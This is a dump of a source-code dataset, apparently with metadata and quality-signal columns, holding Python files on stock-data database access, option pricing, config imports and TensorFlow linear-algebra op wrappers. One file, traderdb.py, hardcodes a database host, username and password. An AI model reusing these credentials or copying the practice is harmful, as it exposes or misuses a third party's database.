hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
1d313ea411305b79c21848c2de2eda249ae6a378
2,106
py
Python
alerter/tools/traderdb.py
vsananthu/alphatrader
d97af1182e16f8281651832afb8938f2adebf065
[ "MIT" ]
1
2021-08-19T05:37:50.000Z
2021-08-19T05:37:50.000Z
alerter/tools/traderdb.py
ajmal017/alphatrader
d97af1182e16f8281651832afb8938f2adebf065
[ "MIT" ]
null
null
null
alerter/tools/traderdb.py
ajmal017/alphatrader
d97af1182e16f8281651832afb8938f2adebf065
[ "MIT" ]
1
2021-08-19T05:37:47.000Z
2021-08-19T05:37:47.000Z
import MySQLdb import logging class TraderDB(object): @staticmethod def get_stock_data(token): #Server Connection to MySQL: conn = MySQLdb.connect(host= "alphalive.cvb8cqc2yslc.us-west-2.rds.amazonaws.com",user="alpha",passwd="alpha123",db="alphalive") x = conn.cursor() data= None try: x.execute("""SELECT * from trader_instruments WHERE token = %s""", (token,)) data=x.fetchone() except: logging.info("Retrieve stock failed") conn.close() logging.info("Instrument retrieved from db:"+str(data)) return data @staticmethod def get_all_stock_names(exchange): #Server Connection to MySQL: conn = MySQLdb.connect(host= "alphalive.cvb8cqc2yslc.us-west-2.rds.amazonaws.com",user="alpha",passwd="alpha123",db="alphalive") x = conn.cursor() data= None try: x.execute("""SELECT name from trader_instruments WHERE exchange = %s""", (exchange)) data=x.fetchall() except: logging.info("Retrieve all stocks failed") conn.close() # logging.info("Instrument retrieved from db:"+str(data)) return data @staticmethod def get_all_stockdata(exchange): #Server Connection to MySQL: conn = MySQLdb.connect(host= "alphalive.cvb8cqc2yslc.us-west-2.rds.amazonaws.com",user="alpha",passwd="alpha123",db="alphalive") x = conn.cursor() data= None try: x.execute("""SELECT * from trader_instruments WHERE exchange = %s""", (exchange)) data=x.fetchone() except: logging.info("Retrieve all stocks failed") conn.close() # logging.info("Instrument retrieved from db:"+str(data)) return data @staticmethod def get_stock_data_from_name(stockname,exchange): #Server Connection to MySQL: conn = MySQLdb.connect(host= "alphalive.cvb8cqc2yslc.us-west-2.rds.amazonaws.com",user="alpha",passwd="alpha123",db="alphalive") x = conn.cursor() data= None try: x.execute("""SELECT * from trader_instruments WHERE name = %s AND exchange=%s""", (stockname,exchange)) data=x.fetchone() except: logging.info("Retrieve stock failed") conn.close() logging.info("Instrument retrieved from db:"+str(data)) return data
27.350649
130
0.708452
278
2,106
5.31295
0.223022
0.05958
0.048747
0.062288
0.908599
0.884225
0.884225
0.884225
0.873392
0.825999
0
0.013326
0.144824
2,106
77
131
27.350649
0.806774
0.104463
0
0.773585
0
0
0.350877
0.106326
0
0
0
0
0
1
0.075472
false
0.075472
0.037736
0
0.207547
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
8
1d425872ad2f9e0bc197b857d440980beeb88eed
310
py
Python
bobstack/tests/test_sipentity_udp_sipStatelessProxy.py
bobjects/BobStack
c177b286075044832f44baf9ace201780c8b4320
[ "Apache-2.0" ]
null
null
null
bobstack/tests/test_sipentity_udp_sipStatelessProxy.py
bobjects/BobStack
c177b286075044832f44baf9ace201780c8b4320
[ "Apache-2.0" ]
null
null
null
bobstack/tests/test_sipentity_udp_sipStatelessProxy.py
bobjects/BobStack
c177b286075044832f44baf9ace201780c8b4320
[ "Apache-2.0" ]
null
null
null
from abstractStatelessProxyTestCase import AbstractStatelessProxyTestCase from ..sipmessaging import SIPURI from ..siptransport import UDPSIPTransport from ..sipentity import SIPStatelessProxy class TestStatelessProxyWithUDPTransport(AbstractStatelessProxyTestCase): # TODO - need to implement! pass
31
73
0.848387
24
310
10.958333
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.112903
310
9
74
34.444444
0.956364
0.080645
0
0
0
0
0
0
0
0
0
0.111111
0
1
0
true
0.166667
0.666667
0
0.833333
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
1
1
1
0
1
0
0
8
1d7f77290a2f2a90e20ca516073e6a760a491d46
86
py
Python
theme_settings/__init__.py
BrenoMartinsDeOliveiraVasconcelos/OG-Snake-Game
95bb169d3276ec2992e459f03726f8981c8a6e75
[ "MIT" ]
10
2021-07-31T15:38:24.000Z
2022-02-05T04:52:39.000Z
theme_settings/__init__.py
BrenoMartinsDeOliveiraVasconcelos/OG-Snake-Game
95bb169d3276ec2992e459f03726f8981c8a6e75
[ "MIT" ]
null
null
null
theme_settings/__init__.py
BrenoMartinsDeOliveiraVasconcelos/OG-Snake-Game
95bb169d3276ec2992e459f03726f8981c8a6e75
[ "MIT" ]
4
2021-08-01T00:27:24.000Z
2021-10-13T21:44:45.000Z
from theme_settings.font_registry import * from theme_settings.theme_registry import *
43
43
0.872093
12
86
5.916667
0.5
0.253521
0.478873
0
0
0
0
0
0
0
0
0
0.081395
86
2
43
43
0.898734
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
d5a0cfcb19c9e92909c3524f4b3cf6134e30b4f3
10,207
py
Python
putcall/formulas/interest_rate_options/black76.py
pbrisk/optionpricing
a5984b52cb7bae33cfd48490439acea4844af0f9
[ "Apache-2.0" ]
null
null
null
putcall/formulas/interest_rate_options/black76.py
pbrisk/optionpricing
a5984b52cb7bae33cfd48490439acea4844af0f9
[ "Apache-2.0" ]
null
null
null
putcall/formulas/interest_rate_options/black76.py
pbrisk/optionpricing
a5984b52cb7bae33cfd48490439acea4844af0f9
[ "Apache-2.0" ]
2
2017-12-08T10:18:08.000Z
2018-10-20T15:59:33.000Z
# -*- coding: utf-8 -*- # putcall # ------- # Collection of classical option pricing formulas. # # Author: sonntagsgesicht, based on a fork of Deutsche Postbank [pbrisk] # Version: 0.2, copyright Wednesday, 18 September 2019 # Website: https://github.com/sonntagsgesicht/putcall # License: Apache License 2.0 (see LICENSE file) from math import sqrt, log from mathtoolspy import cdf_abramowitz_stegun as normal_cdf from mathtoolspy import density_normal_dist as normal_density from ..option_payoffs import option_payoff, digital_option_payoff, straddle_payoff #from putcall.formulas.option_payoffs import option_payoff, digital_option_payoff, straddle_payoff def _black_param(forward_value, strike_value, implied_vol_value, time_value): sigma = implied_vol_value * sqrt(time_value) fms = forward_value - strike_value d0 = (log(forward_value / strike_value) - 0.5 * sigma ** 2) / sigma if sigma > 0.0 else 0.0 d1 = d0 + sigma return sigma, fms, d0, d1 def black(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Standard Black-76 formula for log-normal underlying distribution. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d0, d1 = _black_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return option_payoff(forward_value, strike_value, is_call_bool) if is_call_bool: # call return forward_value * normal_cdf(d1) - strike_value * normal_cdf(d0) else: # put return strike_value * normal_cdf(-d0) - forward_value * normal_cdf(-d1) def black_delta(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Black-76 delta sensitivity. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d0, d1 = _black_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: if is_call_bool: return 1.0 if fms > 0.0 else 0.0 else: return -1.0 if fms < 0.0 else 0.0 # call call_value = normal_cdf(d1) return call_value if is_call_bool else call_value - 1.0 # put def black_gamma(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Black-76 gamma sensitivity. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d0, d1 = _black_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 0.0 return None # TODO Black76 gamma def black_vega(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Black-76 vega sensitivity. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d0, d1 = _black_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 0.0 return forward_value * sqrt(time_value) * normal_density(d1) def black_digital(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Standard Black-76 formula for digital option on log-normal underlying distribution. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d0, d1 = _black_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return digital_option_payoff(forward_value, strike_value, is_call_bool) return normal_cdf(d0) if is_call_bool else normal_cdf(-d0) def black_digital_delta(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Black-76 delta sensitivity for digital payoff. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d0, d1 = _black_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 0.0 if is_call_bool: # call return normal_density(d1) / (sigma * forward_value) else: # put return -normal_density(-d1) / (sigma * forward_value) def black_digital_gamma(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Black-76 gamma sensitivity for digital payoff. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d0, d1 = _black_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 0.0 return None # TODO Black76 gamma for digital payoff def black_digital_vega(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Black-76 vega sensitivity for digital payoff. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d0, d1 = _black_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 0.0 # call call_value = d1 * normal_density(d0) / implied_vol_value return call_value if is_call_bool else -call_value # put def black_straddle(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Standard Black-76 formula for straddle option on log-normal underlying distribution. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d0, d1 = _black_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return straddle_payoff(forward_value, strike_value, is_call_bool) nd1 = normal_cdf(d1) nd2 = normal_cdf(d0) mnd1 = normal_cdf(-d1) mnd2 = normal_cdf(-d0) return forward_value * nd1 - strike_value * nd2 + strike_value * mnd2 - forward_value * mnd1 def black_straddle_delta(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Black-76 delta sensitivity for straddle payoff. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d0, d1 = _black_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 1.0 if fms >= 0.0 else -1.0 return 2.0 * normal_density(d1) - 1 def black_straddle_gamma(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Black-76 gamma sensitivity for straddle payoff. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d0, d1 = _black_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 0.0 return None # TODO Black76 gamma for straddle payoff def black_straddle_vega(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Black-76 vega sensitivity for straddle payoff. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d0, d1 = _black_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 0.0 return 2.0 * forward_value * sqrt(time_value) * normal_density(d1)
33.798013
99
0.721858
1,457
10,207
4.805765
0.070693
0.08569
0.083548
0.098543
0.858612
0.838618
0.831477
0.820623
0.801771
0.788917
0
0.020408
0.203096
10,207
301
100
33.910299
0.840423
0.473205
0
0.470588
0
0
0
0
0
0
0
0.009967
0
1
0.152941
false
0
0.047059
0
0.529412
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
7
638283948bc5bfc3e0e6fdbc92764ce39e46ed6d
340
py
Python
squeezeDet/src/config/__init__.py
Walter1218/Self_Driving_Car_ND
526a9583a2bc616cb19cdfc7921b5e1c0f9711bd
[ "MIT" ]
2
2017-05-25T01:26:41.000Z
2019-08-16T13:38:57.000Z
squeezeDet/src/config/__init__.py
Walter1218/Self_Driving_Car_ND
526a9583a2bc616cb19cdfc7921b5e1c0f9711bd
[ "MIT" ]
null
null
null
squeezeDet/src/config/__init__.py
Walter1218/Self_Driving_Car_ND
526a9583a2bc616cb19cdfc7921b5e1c0f9711bd
[ "MIT" ]
1
2017-05-25T01:26:50.000Z
2017-05-25T01:26:50.000Z
#import kitti_model_config from config.kitti_model_config import kitti_model_config from config.kitti_vgg16_config import kitti_vgg16_config from config.kitti_res50_config import kitti_res50_config from config.kitti_squeezeDet_config import kitti_squeezeDet_config from config.kitti_squeezeDetPlus_config import kitti_squeezeDetPlus_config
48.571429
74
0.917647
49
340
5.918367
0.183673
0.227586
0.275862
0.362069
0.255172
0.255172
0.255172
0
0
0
0
0.025157
0.064706
340
6
75
56.666667
0.886792
0.073529
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
63864c4ea4a899e5a9c799d66f34e96028866c78
637
py
Python
fancy/trainer/transform_factories/transform_factory.py
susautw/fancy-trainer
eeb7ba1a541a8070171f1be972f8d99f81a4bff9
[ "MIT" ]
null
null
null
fancy/trainer/transform_factories/transform_factory.py
susautw/fancy-trainer
eeb7ba1a541a8070171f1be972f8d99f81a4bff9
[ "MIT" ]
null
null
null
fancy/trainer/transform_factories/transform_factory.py
susautw/fancy-trainer
eeb7ba1a541a8070171f1be972f8d99f81a4bff9
[ "MIT" ]
null
null
null
from abc import ABC from typing import Callable, Optional class TransformsFactory(ABC): @property def train_transform(self) -> Optional[Callable]: return None @property def train_target_transform(self) -> Optional[Callable]: return None @property def test_transform(self) -> Optional[Callable]: return None @property def test_target_transform(self) -> Optional[Callable]: return None @property def valid_transform(self) -> Optional[Callable]: return None @property def valid_target_transform(self) -> Optional[Callable]: return None
21.233333
59
0.6719
69
637
6.072464
0.26087
0.157518
0.300716
0.415274
0.775656
0.775656
0.775656
0.668258
0.548926
0
0
0
0.246468
637
29
60
21.965517
0.872917
0
0
0.571429
0
0
0
0
0
0
0
0
0
1
0.285714
false
0
0.095238
0.285714
0.714286
0
0
0
0
null
0
1
1
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
7
63a541fb90e3562d1e5dc44d281fc9536753d242
98,010
py
Python
Reinforcement-Learning/Python-Model/venv/lib/python3.8/site-packages/tensorflow/python/ops/gen_linalg_ops.py
lawrence910426/ProgrammingII_FinalProject
493183dc2a674310e65bffe3a5e00395e8bebb4b
[ "MIT" ]
1
2021-05-24T10:08:51.000Z
2021-05-24T10:08:51.000Z
venv/lib/python3.8/site-packages/tensorflow/python/ops/gen_linalg_ops.py
JIANG-CX/data_labeling
8d2470bbb537dfc09ed2f7027ed8ee7de6447248
[ "MIT" ]
null
null
null
venv/lib/python3.8/site-packages/tensorflow/python/ops/gen_linalg_ops.py
JIANG-CX/data_labeling
8d2470bbb537dfc09ed2f7027ed8ee7de6447248
[ "MIT" ]
null
null
null
"""Python wrappers around TensorFlow ops. This file is MACHINE GENERATED! Do not edit. Original C++ source file: linalg_ops.cc """ import collections from tensorflow.python import pywrap_tfe as pywrap_tfe from tensorflow.python.eager import context as _context from tensorflow.python.eager import core as _core from tensorflow.python.eager import execute as _execute from tensorflow.python.framework import dtypes as _dtypes from tensorflow.python.framework import op_def_registry as _op_def_registry from tensorflow.python.framework import ops as _ops from tensorflow.python.framework import op_def_library as _op_def_library from tensorflow.python.util.deprecation import deprecated_endpoints from tensorflow.python.util import dispatch as _dispatch from tensorflow.python.util.tf_export import tf_export from typing import TypeVar def banded_triangular_solve(matrix, rhs, lower=True, adjoint=False, name=None): r"""TODO: add doc. Args: matrix: A `Tensor`. Must be one of the following types: `float64`, `float32`, `half`, `complex64`, `complex128`. rhs: A `Tensor`. Must have the same type as `matrix`. lower: An optional `bool`. Defaults to `True`. adjoint: An optional `bool`. Defaults to `False`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `matrix`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "BandedTriangularSolve", name, matrix, rhs, "lower", lower, "adjoint", adjoint) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return banded_triangular_solve_eager_fallback( matrix, rhs, lower=lower, adjoint=adjoint, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. if lower is None: lower = True lower = _execute.make_bool(lower, "lower") if adjoint is None: adjoint = False adjoint = _execute.make_bool(adjoint, "adjoint") _, _, _op, _outputs = _op_def_library._apply_op_helper( "BandedTriangularSolve", matrix=matrix, rhs=rhs, lower=lower, adjoint=adjoint, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("lower", _op._get_attr_bool("lower"), "adjoint", _op._get_attr_bool("adjoint"), "T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "BandedTriangularSolve", _inputs_flat, _attrs, _result) _result, = _result return _result BandedTriangularSolve = tf_export("raw_ops.BandedTriangularSolve")(_ops.to_raw_op(banded_triangular_solve)) def banded_triangular_solve_eager_fallback(matrix, rhs, lower, adjoint, name, ctx): if lower is None: lower = True lower = _execute.make_bool(lower, "lower") if adjoint is None: adjoint = False adjoint = _execute.make_bool(adjoint, "adjoint") _attr_T, _inputs_T = _execute.args_to_matching_eager([matrix, rhs], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.half, _dtypes.complex64, _dtypes.complex128, ]) (matrix, rhs) = _inputs_T _inputs_flat = [matrix, rhs] _attrs = ("lower", lower, "adjoint", adjoint, "T", _attr_T) _result = _execute.execute(b"BandedTriangularSolve", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "BandedTriangularSolve", _inputs_flat, _attrs, _result) _result, = _result return _result def batch_cholesky(input, name=None): r"""TODO: add doc. Args: input: A `Tensor`. Must be one of the following types: `float64`, `float32`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "BatchCholesky", name, input) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return batch_cholesky_eager_fallback( input, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. _, _, _op, _outputs = _op_def_library._apply_op_helper( "BatchCholesky", input=input, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "BatchCholesky", _inputs_flat, _attrs, _result) _result, = _result return _result BatchCholesky = tf_export("raw_ops.BatchCholesky")(_ops.to_raw_op(batch_cholesky)) def batch_cholesky_eager_fallback(input, name, ctx): _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float64, _dtypes.float32, ]) _inputs_flat = [input] _attrs = ("T", _attr_T) _result = _execute.execute(b"BatchCholesky", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "BatchCholesky", _inputs_flat, _attrs, _result) _result, = _result return _result def batch_cholesky_grad(l, grad, name=None): r"""TODO: add doc. Args: l: A `Tensor`. Must be one of the following types: `float32`, `float64`. grad: A `Tensor`. Must have the same type as `l`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `l`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "BatchCholeskyGrad", name, l, grad) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return batch_cholesky_grad_eager_fallback( l, grad, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. _, _, _op, _outputs = _op_def_library._apply_op_helper( "BatchCholeskyGrad", l=l, grad=grad, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "BatchCholeskyGrad", _inputs_flat, _attrs, _result) _result, = _result return _result BatchCholeskyGrad = tf_export("raw_ops.BatchCholeskyGrad")(_ops.to_raw_op(batch_cholesky_grad)) def batch_cholesky_grad_eager_fallback(l, grad, name, ctx): _attr_T, _inputs_T = _execute.args_to_matching_eager([l, grad], ctx, [_dtypes.float32, _dtypes.float64, ]) (l, grad) = _inputs_T _inputs_flat = [l, grad] _attrs = ("T", _attr_T) _result = _execute.execute(b"BatchCholeskyGrad", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "BatchCholeskyGrad", _inputs_flat, _attrs, _result) _result, = _result return _result def batch_matrix_determinant(input, name=None): r"""TODO: add doc. Args: input: A `Tensor`. Must be one of the following types: `float32`, `float64`, `complex64`, `complex128`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "BatchMatrixDeterminant", name, input) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return batch_matrix_determinant_eager_fallback( input, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. _, _, _op, _outputs = _op_def_library._apply_op_helper( "BatchMatrixDeterminant", input=input, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "BatchMatrixDeterminant", _inputs_flat, _attrs, _result) _result, = _result return _result BatchMatrixDeterminant = tf_export("raw_ops.BatchMatrixDeterminant")(_ops.to_raw_op(batch_matrix_determinant)) def batch_matrix_determinant_eager_fallback(input, name, ctx): _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ]) _inputs_flat = [input] _attrs = ("T", _attr_T) _result = _execute.execute(b"BatchMatrixDeterminant", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "BatchMatrixDeterminant", _inputs_flat, _attrs, _result) _result, = _result return _result def batch_matrix_inverse(input, adjoint=False, name=None): r"""TODO: add doc. Args: input: A `Tensor`. Must be one of the following types: `float64`, `float32`. adjoint: An optional `bool`. Defaults to `False`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "BatchMatrixInverse", name, input, "adjoint", adjoint) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return batch_matrix_inverse_eager_fallback( input, adjoint=adjoint, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. if adjoint is None: adjoint = False adjoint = _execute.make_bool(adjoint, "adjoint") _, _, _op, _outputs = _op_def_library._apply_op_helper( "BatchMatrixInverse", input=input, adjoint=adjoint, name=name) _result = _outputs[:] if 